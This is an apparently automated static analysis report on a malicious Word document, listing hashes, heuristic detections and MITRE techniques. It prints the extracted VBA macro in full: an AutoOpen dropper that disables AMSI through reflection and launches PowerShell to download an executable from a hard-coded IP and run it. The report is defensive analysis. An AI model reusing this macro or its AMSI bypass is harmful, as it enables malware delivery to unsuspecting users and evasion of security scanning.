Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 352aad514e7f8233…

MALICIOUS

Office (OOXML)

17.3 KB Created: 2021-06-10 04:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: ae961e997528c45f6cdda62d630b19ce SHA-1: 890a0ff1a2f1dc55aa988e92c7014e6edc257032 SHA-256: 352aad514e7f8233d793adc6068d3bca297bbc974b6085678174989729b924ee
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro. This macro uses CreateObject and CallByName to execute PowerShell commands. The script constructs a PowerShell command that downloads a file from 'http://45.77.49.253/shit.exe' to 'C:\shit.exe' and then executes it. This indicates a dropper functionality, aiming to download and run a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Banana\Desktop\dist\templatedocx.dotm
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.77.49.253/shit.exe OOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1151 bytes
SHA-256: ca122d045c9fca70a1e4444f406bc4c5f949e5caf1a8e712b855a8a8ffff34dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        
        cmdType = "Shell.Appl" + "ication"
        cmdCommand = "ShellExe" + "cute"
        cmdParams = ""

        cmdParams = cmdParams + " -Command ""$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils';$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m));$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static');$field.SetValue($null,$true);"
        cmdParams = cmdParams + "$url = 'http://45.77.49.253/shit.exe';$outpath = 'C:\shit.exe';Invoke-WebRequest -Uri $url -OutFile $outpath;"
        cmdParams = cmdParams + "Start-Process -Filepath 'C:\shit.exe'; Read-Host"
        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.Interaction.CallByName! cmdObj, [cmdCommand], VbMethod, "powers" + "hell.exe", cmdParams
        

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: c176b3cc5978032a553812aa836f889e5e0363fe6d404a850744d083ef0e96af
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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